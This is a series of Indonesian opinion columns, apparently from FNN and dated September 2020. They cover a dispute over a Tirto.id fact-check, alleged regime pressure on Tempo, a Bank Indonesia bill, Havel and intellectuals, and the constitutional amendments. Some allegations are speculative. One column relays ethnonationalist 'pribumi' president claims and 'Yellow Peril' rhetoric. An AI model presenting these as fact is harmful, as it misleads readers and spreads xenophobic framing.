pertama adalah bagaimana penulis mencoba untuk menelaah satu persatu makna dari frasa yang dituliskan oleh Dharma dengan pemahaman penulis sendiri tanpa mencoba memahami alur pemikiran dari pemilik postingan. Padahal di akhir kalimat, Dharma menyampaikan tujuan dari alur pikir yang ingin disampaikan. Beliau memberikan nasihat “dengan hidupmu, taburlah kebaikan. Dengan gadget-mu, beritakan kebenaran”. Logika sederhananya mudah, untuk apa beliau memberikan sebuah nasihat soal memberitakan kebenaran jika informasi yang beliau sampaikan mengandung kebohongan. Dalam postingan, juga sangat jelas bahwa Dharma mengajak agar setiap orang untuk mengembalikan fokus kepada jati diri manusia sebagai ciptaan Tuhan. Artinya dengan postingan tersebut Dharma menyampaikan agar jangan sampai manusia tenggelam dalam menggunakan gadget. Aapalagi sampai melupakan esensi dirinya untuk hidup di muka bumi ini. Postingan yang disampaikan Dharma adalah sebuah refleksi untuk mengingatkan. Bukan untuk menakutkan apalagi menyesatkan. Tirto.id keliru untuk memahami hal tersebut dengan menyimpulkan sangat tergesa-gesa bahwa informasi yang disampaikan dalam Postingan Dharma sebagai informasi yang salah dan menyesatkan. Kesalahan yang kedua adalah Tirto.id dalam menuliskan artikel tersebut sama sekali tidak melakukan konfirmasi kepada Dharma. Padahal artikel yang dibuat berpotensi merugikan nama baik dari Dharma. Dharma Pongrekun adalah Pejabat Negara yang mengemban amanah sebagai Wakil Kepala Badan Sandi dan Siber Negara (BSSN). Juga seorang Polisi dengan pangkat Komjen Polisi. Artikel yang menghakimi sebuah narasi dari Dharma adalah kebohongan. Dapat berdampak kepada kredibilitas dan integritas beliau. Sehingga Tirto.id seharusnya melakukan konfirmasi terlebih dahulu agar Dharma tidak merasa pribadinya dirugikan. Dharma dapat menjelaskan makna sesungguhnya dari postingan beliau tersebut. Menghakimi seseorang memang sangatlah mudah. Padahal hakim sendiri sebagai penegak hukum dalam melakukan tugasnya, harus mengkonfirmasi dahulu baik kepada terdakwa, tersangka dan saksi, untuk pada akhirnya menentukan seseorang bersalah atau tidak di mata hukum. Artikel yang ditulis oleh Tirto.id jelas telah melakukan penghakiman yang prematur terhadap postingan Dharma. Seharusnya ada konfirmasi ulang yang dilakukan oleh Tirto.id yang paham akan kode etik jurnalistik, dalam rangka menghormati Dharma sebagai seorang individu dan pejabat negara. Melakukan konfirmasi merupakan hal yang sangat penting dalam rangka menjaga keberimbangan karya jurnalistik. Sehingga setelah sebuah karya jurnalistik telah diterbitkan atau disebar ke publik. Dengan begitu, diharapkan tidak muncul apa yang disebut sebagai penghukuman media atau trial by the press. Sebagai sebuah media, Tirto.id seharusnya paham betul keidah tersebut. Sebuah karya jurnalistik yang memberitakan seseorang haruslah memiliki Cover Both Side, agar pemberitaan tersebut menjadi lebih kredibel dan tidak terkesan framing atau menjatuhkan pihak tertentu . Ah, rasanya saya percuma bercerita panjang tentang maksud dan tujuan ini, apabila batu pijak kita berbeda. Jika penulis artikel Tirto.id memiliki waktu yang cukup, mungkin ia tidak perlu berhenti pada satu postingan itu saja. Harus lebih memahami maksud dan tujuan terdalam sang pemilik informasi. Apakah dengan melakukan re-checking pada jurnal ilmiah, lantas artikel Tirto.id dapat dibenarkan untuk menancapkan bendera false dan misleading information pada postingan Dharma? Saya kembali mengajak pembaca untuk melakukan kontemplasi atas kehidupan ini. Ingatlah, bahwa sejak dulu manusia senantiasa berupaya untuk mencari kepastian ketika menghadapi atau bersentuhan dengan realitas hidup yang dijalani oleh masing-masing kita. Dharma sedang melakukan itu. Dharma tidak serta-merta menerima begitu saja tradisi historis yang telah terbangun kokoh hari ini. Jika kebiasaan seperti Tirto.id ini dipelihara, saya takut bahwa ke depan, tidak ada lagi pendobrak kredo teknologi. Pada akhirnya kita hanya menerima saja tanpa mengetahui maksud dan tujuan ragam ciptaan teknologi hari-hari ini. Ini yang mankutkan. Sangat berbahaya. Apakah kelak kita hanya akan menjadi entitas yang berpangku pada metode-metode periksa fakta seperti kasus diatas? Jika opini dan pemikiran kita selalu dibenturkan dengan textbook, yang secara turun-temurun menjadi asupan rutin dalam masa pendidikan, maka sejatinya iklim seperti ini sangat tidak baik. Penulis adalah Pemerhati Masalah Sosial Budaya.

Buruk Muka Rezim, Pendapat Kritis Diberangus

by Tjahja Gunawan Jakarta FNN - Kamis (03/09). Saya menduga ada intervensi dari rezim penguasa atas pencabutan tulisan Ubedilah Badrun, dari kolom opini Tempo.co. pada Kamis (3/9). Semula tulisan Ubedilah Badrun, dosen dan Analis Sosial Politik dari Universitas Negeri Jakarta (UNJ) berjudul "Kejahatan Besar Sedang Terjadi di Indonesia" dimuat di Tempo.co, tapi kemudian dicabut dan dipindahkan ke Indonesiana, suatu blog jurnalisme publik yang telah diluncurkan Tempo tahun 2014. Blog jurnalisme warga ini sama dengan Kompasiana yang dipunyai Kompas dan Pasang Mata milik Detik. Kontennya sangat beragam berkaitan dengan semua aspek kehidupan masyarakat. Di blog Indonesiana tersebut, tulisan Ubedilah sudah mengalami perubahan signifikan. Judulnya berubah menjadi: "Persoalan Besar Sedang Terjadi di Indonesia". Diksi kalimat "Kejahatan" dan "Persoalan", sangat jauh berbeda. Rasa bahasanya pun tidak sama. Dalam tulisan aslinya, Ubedilah Badrun membeberkan empat kejahatan besar yang sekarang terjadi di Indonesia. Pertama, kejahatan sosial ekonomi. Kedua, kejahatan sumber daya alam. Ketiga, kejahatan politik dan keempat kejahatan hukum tata negara. Tulisan lengkapnya bisa dilihat di FNN.co.id Setiap media mainstream seperti halnya Tempo memiliki kolom opini yang dikhususkan bagi para penulis dari luar yang dianggap kredibel dan kompeten di bidangnya masing-masing. Berdasarkan pengalaman saya bekerja di media mainstream, artikel yang dimuat di kolom opini, biasanya ditulis atas permintaan redaksi atau sengaja dikirim oleh penulisnya. Konten tulisan di kolom opini biasanya membahas persoalan aktual atau tema tulisan yang sesuai dengan laporan utama yang diangkat media tersebut. Di samping itu, sebuah artikel yang dimuat di kolom opini, biasanya sudah melalui proses seleksi dan editing dari para penjaga gawang kolom opini. Artinya, kalau tulisan Ubedilah sudah dimuat di kolom opini Tempo.co berarti tulisan tersebut sudah lolos dari proses seleksi dan editing. Nah kalau kemudian artikel Bung Ubedilah Badrun tiba-tiba dicabut, tentu ada tanda tanya besar. Apakah itu terjadi karena ada intervensi dari unsur pimpinan Redaksi Tempo atau memang ada intervensi dari rezim penguasa ? Sejauh ini masyarakat luas hanya bisa berspekulasi. Namun saya menduga pencabutan artikel tersebut lebih dikarenakan adanya intimidasi dari rezim penguasa. Siapa rezim penguasa itu ? Bisa Menkominfo atau bisa juga pimpinan lembaga yang berada dibawah lingkar Istana kepresidenan yang membawahi para buzzer bayaran. Dan sangat boleh jadi adanya intervensi dari "Kaka Pembina" yang membawahi para ahli IT yang memiliki keahlian dalam meretas web (hacker). Dengan kondisi seperti itu, Tempo akhirnya harus lebih berhati-hati. Apalagi sebelumnya Tempo.co. pernah diretas beberapa kali oleh hacker. Proses peretasan maupun pencabutan artikel milik Ubedilah Badrun di kolom opini Tempo, tentu saja tidak berdiri sendiri. Tempo yang akhir-akhir ini kerap melancarkan berbagai kritik tajam kepada pemerintahan Jokowi, suka atau tidak kini harus berhadapan dengan serangan dari pasukan hacker. Oleh karena itu sekarang bisa jadi awak Redaksi Tempo bersikap lebih waspada dalam menghadapi serangan hacker. Mereka ini bisa saja merupakan kepanjangan tangan rezim penguasa atau kelompok kepentingan yang terkait dengan kekuasaan. Dengan demikian, pencabutan artikel keras yang ditulis Ubedilah Badrun, merupakan bagian dari strategi Tempo untuk mengurangi tekanan dari penguasa. Strategi tarik ulur seperti layaknya bermain layang-layang ini biasa dilakukan media mainstream agar bisa mengamankan kelangsungan hidupnya. Oleh karena itu, di saat-saat tertentu suatu media harus tiarap dan di lain kesempatan baru mengritik lagi. Biasanya, strategi semacam itu juga kerap menimbulkan pro kontra di internal media tersebut. Sebagian awak redaksi biasanya ada yang bersikukuh berpegang pada prinsip dasar kerja jurnalistik yakni berperan melakukan kritik kepada pemerintah. Tapi sebagian lagi ada pula yang berpandangan bahwa penyampaian kritik harus dikemas sedemikian rupa agar tidak terlalu keras alias kritik yang diperhalus. Sikap lunak dan kompromistis tersebut sering mendapat pembenaran, misalnya dengan kalimat: "....Apalagi kita hidup di Indonesia yang lebih mengutamakan adat ketimuran". Jika merujuk pada isi tulisan Ubedilah Badrun, narasinya memang keras tapi apa yang disampaikannya sesuai dengan fakta yang dirasakan masyarakat sekarang ini. Artinya kalau Tempo sempat menayangkan tulisan Ubedilah yang keras tersebut, bisa jadi sebagian awak redaksi Tempo juga ikut merasakan denyut masalah yang kini dialami masyarakat. Kalau falsh back ke belakang, gaya bahasa dan pilihan diksi kalimat yang biasa digunakan Tempo di dalam berita dan tulisan-tulisannya sudah lazim menggunakan kalimat yang lugas, to the point dan apa adanya. Semoga identifikasi saya pada ciri utama Tempo ini tidak salah. Jadi terasa aneh kalau proses editing di Tempo sekarang sampai pada merubah diksi dari kata "kejahatan" menjadi "persoalan". Memang perubahan diksi tersebut tidak sampai merubah (meaning) dari keseluruhan isi tulisan Ubedilah. Tapi berdasarkan pengalaman saya, beberapa penulis ternama biasanya mereka keberatan jika kalimat yang ditulisnya dirubah seenaknya oleh editor kolom opini. Seperti halnya wartawan, karakter seorang penulis selain bisa dilihat dari alur kalimat yang disusunnya juga tercermin dari pilihan kata dan diksi yang digunakannya. Walaupun pendapat kritis masyarakat sudah semakin dibatasi terutama di media mainstream, namun masih ada seribu satu cara bagi publik untuk bisa mengungkapkan pendapat dan kritiknya kepada rezim penguasa. Apalagi di era keterbukaan seperti sekarang, banyak platform media yang bisa dipakai untuk menyampaikan kritik kepada rezim penguasa yang menyimpang. Jàdi jangan takut, sampaikanlah kritik apa adanya. Tuhan bersama orang-orang yang terdzolimi. Wallohu a'lam bhisawab. Penulis adalah Wartawan Senior FNN.co.id

Semakin Otoriter, Pemerintah Akan Rampas Independensi BI

by Asyari Usman Jakarta FNN - Kamis (03/09). Bank Indonesia (BI) sebagai bank sentral yang independen mulai dilihat oleh penguasa sebagai penghalang kesewenangan. Tim ekonomi Presiden Jokowi, sedang membuat ancang-ancang untuk melucuti BI dari independensinya. UU tentang BI No. 3/2004 yang mencegah campur tangan dari pihak mana pun, kini sedang diutak-atik. Akan direvisi untuk merampas independensi BI itu. Inisiatifnya dari DPR. Pasal 9 UU ini menegaskan tentang posisi bebas BI. Tidak ada yang boleh campur tangan. BI berada di luar sistem politik. Bahkan, Presiden sebagai penguasa eksekutif tertinggi pun tidak bisa mengarahkan BI. Pemerintah sedang menghadapi defisit APBN (Anggaran Pendapatan dan Belanja Negara) sampai 853 T. Defisit ini diakibatkan wabah Covid-19. Pemerintah harus menambah pengeluaran hampir 700 T. Sebenarnya, yang murni untuk penanganan wabah ini hanya 75 T. Selebihnya untuk berbagai skema, termasuk porsi yang cukup besar untuk penyelamatan korporasi. Dimintalah perubahan APBN ke DPR. Tapi, sumber dana tidak ada. Mencari utang baru tidak mudah. Surat Berharga Negara (SBN) yang selama ini diandalkan untuk menjaring duit, tampaknya tidak mudah dijual. Bahkan, sejumlah investor non-residence (asing) dilaporkan melepas SBN senilai 130 T. Terdesak oleh sumber dana yang tidak ada itu, DPR meminta agar BI mencetak uang sebanyak 600 T. Gubernur BI menolak. Para penguasa merasa BI menjadi sandungan. BI menolak karena mencetak uang secara sembarangan bertentang dengan UU dan prinsip pengendalian inflasi. BI beralasan, inflasi tinggi (hyper inflation) akan melanda Indonesia jika pencetakan uang 600 T itu dilaksanakan. Kelihatannya, DPR dan pemerintah naik pitam. Melalui kolaborasi dengan DPR, pemerintah bisa melumpuhkan BI. Dan itulah yang sedang mereka lakukan lewat RUU perubahan UU No. 3/2004. Pasal 9 yang diandalkan BI, akan dicoret. Diganti dengan Pasal 9 huruf (a), (b), dan (c). Pasal 9 versi baru itu akan menjadi pedoman pembentukan semacam ‘superbody’ yang bakal menjadi ‘atasan’ BI. Lembaga super itu disebut Dewan Moneter (DM). Akan diketuai oleh Menteri Keuangan dengan anggota salah satu menteri bidang ekonomi, Gubernur BI dan Deputi Senior Guberbur BI, dan satu orang dari OJK (Otoritas Jasa Keuangan). Pasal 9c sangat krusial. Gubernur BI memang diberi ruang untuk ‘melawan’ pemerintah. Tetapi, Gubernur diperkirakan sulit untuk tidak sejalan dengan keinginan mayoritas DM. Sebab, pemerintah bisa menggunakan ‘taktik khusus’ dengan kekuasaan politiknya. Ingat, ada pula usul untuk menambahkan beberapa menteri sebagai penasihat DM. Pimpinan BI akan terjepit. Bayangkan saja bagaimana nanti ‘nasihat’ dari para menteri kepada Gubernur BI yang ‘melawan’. Sebetulnya, untuk urusan stabilitas ekonomi-keuangan sudah ada Komite Stabilitas Sistem Keuangan (KSSK). Di situ juga ada menteri keuangan. Cuma, wewenang KSSK tidak bisa sampai mendikte BI. Jika perubahan UU No. 3/2004 itu disahkan –dan tampaknya kecil kemungkinan tidak disahkan karena DPR praktis sudah menjadi stempel penguasa— maka selesailah riwayat BI sebagai lembaga moneter yang bebas dari intervensi politik. BI akan dikerangkeng dengan pembentukan DM seperti dijelaskan di atas. DM akan bertugas membantu pemerintah dan BI dalam merencanakan dan menetapkan kebijakan moneter. Tidak ada lagi cerita BI bekerja hanya untuk kepentingan ‘the best practice of monetary system’. BI tidak lagi hadir untuk praktik terbaik sistem moneter. Keberadaan para ahli moneter di bank sentral itu kemungkinan menjadi ‘redundant’ alias ‘mubazir’. Cerita cetak uang untuk defisit APBN, berawal dari usul ketua Badan Anggaran (Banggar) DPR, Said Abdullah. Menurut Said, cetak uang itu perlu dilakukan karena pendapatan pemerintah menurun sedangkan pengeluaran bertambah. Defisit APBN melebar secara signifikan. Semua ini akibat Covid-19, kata para pejabat tinggi. Haruskah diterima ‘reasoning’ dari pemerintah yang mengkambinghitamkan wabah Corona? Sepintas tampak seperti itu. Jika hanya berdasarkan kalkulasi APBN Corona 2020 saja. Tetapi, kalau dicermati lebih jauh, akan terlihat berbagai penyebab lain. Bukan hanya Covid-19. Sebab, salah kelola keuangan negara telah berlangsung bertahun-tahun. Khususnya, sejak Jokowi memberikan penekanan berlebihan pada proyek-proyek infrastruktur yang menyedot banyak dana. Para ahli dan pengamat masalah ekonomi-keuangan menentang pembentukan Dewan Moneter. Mereka melihat langkah ini merupakan kemunduran bagi Indonesia. Kalau alasan utamanya adalah untuk membantu BI dan pemerintah. DM hanya ada di era Soekarno. Kalau di masa Soekarno, jangankan pembentukan Dewan Moneter, dirinya sendiri pun dia angkat menjadi presiden seumur hidup.[] Penulis adalah Wartawan Senior FNN.co.id

Revolusi Beludru

by Zainal Bintang Sejarawan Lord Acton dalam suratnya kepada Mandell Creighton, tertanggal April 188, menulis, "Power tends to corrupt, and absolute power to corrupt absolutely" - orang yang memiliki kekuasaan cenderung jahat, dan apabila kekuasaan itu demikian banyak, maka kecenderungan akan jahat itu semakin menjadi-jadi. Kejahatan paling buruk seorang pemimpin itu adalah apabila ia merasa sudah lebih dari orang lain. Menjadi manusia super, bahkan semidewa. Minta dipuja-puja, bahkan minta untuk dikultuskan. Jakarta FNN – Kamis (03/09). Pesan WhatsApp Denny JA masuk ke HP saya. Isinya rekaman video yang membahas topik “Penghianatan Kaum Intelektual”. Diberi pengantar teks dengan pertanyaan, “Apakah Intelektual Sudah Berkhianat? Salahkah Intelektual yang masuk ke dalam kekuasaan? Salahkah intelektual yang tak lagi peduli dengan riuh rendah ruang publik? 100 tahun setelah buku Julian Benda: Penghianatan Dunia Intelektual, kita menyaksikan perkembangan zaman yang berbeda”. Karya Benda yang dirujuk bung Denny JA judul aslinya dalam bahasa Perancis “La Trahison Des Clercs” (Penghianatan Kaum Intelektual). Terbit 1927. Diterjemahkan 1997. Drama pengkhianatan kaum intelektual atau cendekiawan adalah foto copy sejarah yang selalu terdaur ulang. Konsistensi komitmen intelektual dapat diukur ketika dirinya berani mengambil risiko mempertaruhkan nyawa untuk dan atas nama kepentingan (rakyat) yang lebih besar. Namun seiring dengan perjalanan waktu, daya tahan komitmen itu terus mengalami dinamika pasang surut manakala diuji oleh kemewahan dan kenyamanan yang ditawarkan kekuasaan. Tidak mudah melupakan sepotong kata magis dibaca Bung Karno dengan cepat mengguncang dunia abad ke 20. Teks proklamasi yang tertulis diatas sepotong kertas yang rada “kumal” : “….kami bangsa Indonesia, dengan ini….dan seterusnya dan seterusnya”. Kalimat pendek, tapi sakral itu dalam sekejap mengubah konstelasi kiblat kekuatan politik dunia internasional. Memori yang monumental ini muncul mendadak sesaat, ketika hari masih sangat pagi. Saya menjawab lewat hp seorang senior. Guru besar. Yang dikenal karena kepakarannya di bidang ekonomi. Mengeluhkan apa yang disebutnya “kondisi” tak menentu hari ini. Menyoal senyapnya suara anak muda kampus yang dinilainya tidak (lagi) sensitif dengan kondisi tanah air. Sang guru besar cemas dengan absennya kekuatan penggerak perubahan, kaum intelektual yang lagi tidak bunyi. Lewat proklamasi itu 75 tahun yang lalu, Indonesia menjadi bangsa yang merdeka. Bung Karno yang didampingi Bung Hatta dengan mantap penuh khidmat membaca teks itu di Pegangsaan Timur, Jakarta Pusat, 17 Agustus 1945. Didahului drama “penculikan” Soekarno-Hatta yang dikenal sebagai “Peristiwa Rengasdengklok”. Dilakukan oleh sejumlah pemuda. Diantaranya Soekarni, Wikana, Aidit dan Chaerul Saleh dari perkumpulan "Menteng 31". “Penculikan” itu berujung menjadi pendorong proklamasi kemerdekaan. Peristiwa bersejarah itu adalah fragmen konsistensi kaum intelektual terhadap komitmen pembebasan bangsanya dari belenggu penjajahan. Akan tetapi ketegaran keintelektualan tokoh proklamator itu berkelindan dan serap menyerap dengan gejolak darah generasi muda “sang penculik.” Seandainya tidak ada anak-anak muda itu yang nekat melakukan tindakan “penculikan”, tentu jalannya sejarah akan berbeda hari ini. Memang ada kekecewaan dari masyarakat setelah menyaksikan dan merasakan perjalanan sejarah keintelektualan dimana-mana , termasuk di Indonesia. Mencemaskan terkooptasinya independensi intelektual atau cendekiawan di dalam kekuatan kekuasaan. Mengulik pepatah lama yang menyebutkan, “honores mutant mores”, saat manusia mulai berkuasa, berubahlah pula tingkah lakunya. Maka itu, sejarawan Lord Acton dalam suratnya kepada Mandell Creighton, tertanggal April 188, menulis, "Power tends to corrupt, and absolute power to corrupt absolutely" - orang yang memiliki kekuasaan cenderung jahat, dan apabila kekuasaan itu demikian banyak, maka kecenderungan akan jahat itu semakin menjadi-jadi. Kejahatan paling buruk seorang pemimpin itu adalah apabila ia merasa sudah lebih dari orang lain. Menjadi manusia super, bahkan semidewa. Juga minta dipuja-puja, bahkan minta untuk dikultuskan. Pada galibnya logika publik menjabarkan, kaum intelektual harus balik badan mengambil jarak untuk memelihara kemurnian cita-cita “clean government”. Suatu sikap yang ditujukan untuk mencegah praktik penyimpangan kekuasaan yang berselempang jubah konstitusi, mengatasnamakan bangsa dan negara. Jika diukur dari sisi jarak waktu terjadinya drama “Rengasdengklok” sampai kepada pembacaan Proklamasi di Pegangsaan Timur, itu memakan waktu kurang dari dua puluh empat jam. Jauh lebih cepat daripada waktu yang digunakan Vaclav Havel ketika memerdekakan Cekoslawakia tahun 1989. Melalui gerakan “Revolusi Beludru” (Velvet Revolution) kurang lebih empat puluh dua hari (17 November - 29 Desember 1989). Meskipun harus diakui, terbukanya ruang kemerdekaan bagi Indonesia disebabkan ada pengaruh eskalasi politik internasional, karena Jepang bertekuk lutut kepada sekutu setelah negerinya dibombardir bom atom di Hiroshima. Demikian juga yang dialami Cekoslawakia, pengaruh perang dingin dan perubahan kebijakan politik dalam negeri Uni Soviet oleh presiden barunya Gorbachev dengan memperkenalkan konsep glasnost (keterbukaan) dan perestroika (restrukturisasi). Menelusuri sejumlah kajian terkait dengan kiprah Vaclac Havel, harus diakui namanya sampai hari ini selalu dikenang sebagai salah seorang tokoh intelektual yang terjun dalam pergerakan yang berhasil membebaskan negaranya dari penindasan kekuasaan pemerintahan Uni Soviet yang mencaplok Cekoslawakia sebagai Komandan Pakta Warsawa tahun 1968. Revolusi Beludru (Velvet Revolution) atau Revolusi Tenang yang digerakkan Havel adalah revolusi tanpa kekerasan. Sebuah jalan intelektual yang bersemangat revolusi (perlawanan) yang mendasari fikiran di dalam esai atau berbagai karya filsafat, maupun melalui jalan kesenian. Sesuai kodratnya sebagai seorang seniman, jalan intelektual yang substansial bertujuan menentang pemerintahan otoriter itulah yang dipilih dan berhasil. Keberhasilan revolusi (beludru) itu menjadikan Havel sebagai Presiden Cekoslovakia (1989-1992) yang ke-10 dan Presiden Republik Ceko yang pertama (1993-2003). Havel adalah penulis, politikus, dan dramawan Ceko. Ia menjadi sangat terkenal setelah menulis sebuah esai yang diberi judul “The Power Of The Powerless (Kekuatan Mereka yang Tidak Berdaya) Melukiskan rezim "normalisasi" Cekoslawakia paska 1968 sebagai sistem yang bangkrut yang bertumpu pada kebohongan yang menyeluruh. Memang menarik membahas topik “pengkhianatan intelektual” hari ini. Banyak yang menyebutkan jalan intelektual sebagai media perlawanan kritis terhadap kesewenang – wenangan pemerintah di era ini dirasakan telah mengalami distrosi nilai. Di era pemerintahan SBY (Soesilo Bambang Yudhoyono) tahun 2005 pernah juga terjadi “geger inetelektual”. Pro kontra yang tajam antara intelektual non pemerintahan dengan intelektual pendukung kekuasaan terkait adanya iklan kebijakan pemerintah soal pencabutan subsisdi BBM. Kalangan intelektual “bebas” kekuasaan menganggap kebijakan itu merugikan rakyat. Apalah arti sebuah nama. Seperti kata William Shakesepeare What’s in a name? “That which we call a rose. By any other name would smell as sweet”. Dalam cerita love story yang melegenda “Romeo & Juliet”, Shakespeare mengatakan : “bunga mawar itu kalaupun diberi nama selain mawar, bau wanginya akan tetap sama”. Penulis adalah Wartawan Senior dan Pemerhati Masalah Sosial Budaya.

Membedah Dan Memetik Buah Amandemen UUD 1945 (Bagian-2)

by Mayjen TNI (Purn) Prijanto Jakarta FNN – Kamis (03/09). Pembatasan. Untuk membedakan dan mempermudah, maka dalam artikel berseri ini, hasil amandemen UUD 1945, kita sebut dengan UUD 2002. Baca membedah dan memetik buah amandemen UUD 1945 (1) : “Veteran Komisi Konstitusi Turun Gunung” (Google). Setelah Veteran Komisi Konstitusi Prof. Dr. Tjipta Lesmana, Prof. Dr. Maria Farida Indrati, dan Dr. Laode Ida bicara dalam Webinar Gerakan Kebangkitan Indonesia (GKI)-Panji Masyarakat, 18/8/2020, tak ketinggalan generasi muda ikut bicara. “Generasi muda seperti Anton Permana cs Turun Gunung”. Apa kata mereka? Dr. H. Anton Permana, S.IP, MH, Ketua FKPPI Batam, Alumni Lemhannas RI PPRA 58 Th. 2018. Anton Permana, melecutkan pikirannya atas situasi negara selepas kursus Lemhannas. Tulisannya aktual, tajam, menggelitik dan mengena. Namanya melejit, favorit nitizen bak selebriti. Sampai-sampai ada satu artikel, sehingga Biro Humas Settama Lemhannas membuat penjelasan, bahwa tulisannya tidak ada hubungannya dengan Lemhannas. Anton menyampaikan masalah : (1) Kedaulatan rakyat (2) Presiden orang Indonesia asli, dan (3) Kesejahteraan sosial, khususnya pengelolaan sumber kekayaan alam. Identifikasi persoalannya tepat. Pokok bahasannya sama dengan pembicara sebelumnya, para Veteran Komisi Konstitusi. Apakah Anton membebek pembicara terdahulu? Tidak mungkin, sebab Anton menjelaskan menggunakan slide yang sudah disiapkan. Artinya, tiga pokok bahasan itulah yang di mata para pembicara sebagai masalah bangsa yang penting untuk dibahas. Masalah kedaulatan rakyat Anton Permana berpendapat saat ini : (1) Rakyat sudah kehilangan kedaulatannya. (2) Demokrasi seharusnya sesuai nilai Pancasila berubah menjadi demokrasi liberal (3) Kedaulatan rakyat cenderung berubah menjadi kedaulatan partai politik, sehingga terbentuklah oligarki. (4) Indonesia dari negara hukum cenderung menjadi negara kekuasaan. (5) Negara berdasarkan Pancasila cenderung menjadi negara individualistis, kapitalis dan liberalis (6) Negara kesatuan cenderung menjadi semi federal, sistem presidensial menjadi semi parlementer dan negara kebangsaan cenderung menjadi negara korporasi. Masalah Presiden orang Indonesia asli (pribumi), Anton sependapat, Presiden harus orang Indonesia asli. Sebab dalam konstruksi konstitusi negara, kita kita kenal adanya suku bangsa, negara dan pemerintah. Sedang pribumi atau orang Indonesia asli inilah identitas kebangsaan negara kita. Jati diri kita sebagai bangsa. Pendapat Anton sangat beralasan. Perserikatan Bangsa Bangsa (PBB) saja mengakui hak-hak pribumi, tentang hak kedaulatan politik, ekonomi dan kebudayaan. Mengapa kita mesti alergi dengan pribumi? Apabila tidak kita kunci dari sekarang, maka anasir asing akan langkah tegap menguasai Indonesia tanpa harus menduduki. Masalah kesejahteraan sosial, terkait Pasal 33 ayat (4) UUD 2002, Anton sejalan dengan Prof. Tjipta Lesmana dan Dr. Laode Ida. Ayat ini telah membuat liberalisasi ekonomi, ketidakmandirian dalam pengelolaan sumber kekayaan alam dan pemiskinan negara kita. Perubahan UUD 1945, Pasal 1 ayat (2) tentang kedaulatan rakyat, Pasal 6 tentang Presiden orang Indonesia asli dan Pasal 33 ayat (4), akan membawa Indonesia menuju neo leberalisme, neo kolonialisme dan neo komunisme. Penekanan dan pentingnya kewaspadaan terhadap bahaya neo komunisme, sebagai penutup pendapat Anton. Ir. Heppy Trenggono, President of Indonesian Islamic Business Forum, Inisiator Gerakan Beli Indonesia. Sejak awal, Heppy Trenggono mengaku betapa sulit mengajak kembali ke UUD 1945. Amien Rais pernah menyampaikan kepada dirinya, bahwa kita itu dijajah tanpa senjata karena Undang-undang Dasar dan sebagainya. Amien mengutip sebuah buku, yang menurut Heppy seperti penyesalan. Setelah sekian tahun, menjelang Pilpres 2019 bertemu lagi, Heppy berbicara perlunya tokoh yang bisa membawa kembali ke UUD 1945, tetapi, Amien Rais mengatakan, “mas, kalau itu saya bertahan”. Jadi Amien Rais masih meyakini amandemen itu benar. Heppy berpendapat, Undang-undang Dasar itu cara mencapai cita-cita sebagai bangsa. Kita itu akan dan mau kemana? Sejak reformasi, dengan UUD 2002, kita semakin jauh dari cita-cita, kata Heppy. Ada 3 (tiga) hambatan yang disorotinya. Pertama, semakin jauh dari cita-cita untuk adil dan makmur. Masyarakat tersingkir dari partisipasi ekonomi. Petani tidak tahu apa yang harus ditanam. Sentra ekonomi mati. Jualan di pasar tergusur. Tukang ojek pun tergusur ojek online yang berbasis kapitalisme. Kedua, figur pemimpin di semua tingkat, kualitasnya memprihatinkan, akibat kapitalisme dalam proses rekrutmen pemimpin dengan biaya tinggi. Pembangunan karakter nyaris tidak terjadi. “One man, one vote” walau nabrak nilai-nilai Pancasila tetap dipertahankan. Ketiga, kepemimpin tidak berkualitas, berakibat tidak sensitif terhadap ancaman kedaulatan. Tidak ngerti ancaman komunisme, ancaman China dan dari luar lainnya karena ledakan penduduk dan pencari sumber daya alam. Semua bangsa di dunia itu tahu “Red Peril” dan “Yellow Peril” itu apa? Balik kita, tanya Heppy menutup pendapatnya. Samuel Lengkey, SH, MH, Advokat & Konsultan Hukum. Samuel Lengkey yang menggeluti filsafat, hukum, politik dan lintas agama. Pikirannya cenderung akademis dan realistis. Kata Samuel, perdebatan kembali ke UUD 1945, sulit dicerna masyarakat. Masyarakat menjadi paranoid, seolah-olah kembali ke masa lalu. Padahal, selama ini UUD 1945 belum pernah dilaksanakan secara benar. Lalu bagaimana caranya? Kita harus masuk ruang pemikiran “the founding fathers” untuk memahami pengalaman dan pengetahuan yang dipaparkan dalam sidang BPUPKI-PPKI. Karena Bapak Bangsa Indonesia itu lebih tahu bagaimana membentuk negara ini, yang sesuai dengan karakter bangsa Indonesia. Dengan membaca risalah sidang BPUPKI-PPKI, kita gali pemikiran Bapak Bangsa Indonesia. Kita bisa melihat historinya, cakrawala peradaban, kekayaan intelektual dan kekhawatiran di masa depan “the founding fathers”, sehingga kita bisa merasakannya. Melalui proses kontekstualisasi dan rasionalisasi, kita bisa menyempurnakan UUD 1945 dengan cara adendum, untuk menyongsong masa depan. Sehingga nilai-nilai, cita-cita dan tujuan didirikannya Indonesia Merdeka tetap lestari. Tetap abadi ke depan. Buah amandemen ini bak buah terlarang yang dimakan Siti Hawa, sehingga Adam dan Siti Hawa keluar dari sorga. Buah amandemen dengan pemilihan presiden secara langsung telah memecah belah bangsa. Ditambah Pilkada langsung yang bikin cerai-berai. Apakah masih kita pertahankan? tanya Samuel Lengkey menutup pendapatnya. Tidak hanya Veteran Komisi Konstitusi dan Genersi Muda yang bicara amandemen UUD 1945. Senior Pejuang pun ikut bicara. Apa kata mereka, silakan baca “Membedah dan Memetik Buah Amandemen UUD 1945 (3) : “Apa Kata Senior Pejuang?”. Semoga bermanfaat, amin. (bersambung). Penulis adalah Aster KASAD 2006-2007 & Rumah Kebangkitan Indonesia.

Kebebasan Pers Kian Terancam

by Hersubeno Arief Jakarta FNN - Kamis (03/08). Tanpa pers yang bebas, negara tidak bisa disebut sebagai demokratis. Itu prasyarat mutlak yang tidak bisa ditawar-tawar. Kebebasan pers dan demokrasi adalah dua sisi mata uang. Tidak bisa dipisahkan. Tanpa itu, sebuah negara jelas bukanlah negara demokratis. Kalau toh tetap mengklaim, ngaku-ngaku sebagai negara demokratis, kualifikasinya adalah pseudo democracy. Demokrasi semu. Dari sisi itu tanda-tanda Indonesia menjadi demokrasi semu, kian kuat. Tim Lindsay, seorang akademisi dan peneliti dari Universitas Melbourne, Australia malah menilai Indonesia di bawah rezim Jokowi telah berubah menjadi “Neo New Order.” Penilaian semacam itu merupakan sebuah ironi. Neo Orde Baru, mengacu pada pemerintahan otoriter Indonesia di bawah rezim Soeharto selama 32 tahun. Sementara Indonesia harusnya jauh lebih maju dalam praktik demokrasi. Era Reformasi sudah memasuki dua dasa warsa (21 tahun). Harus lebih mapan dan dewasa secara demokrasi. Rabu (2/9) malam di sejumlah platform pertemanan heboh. 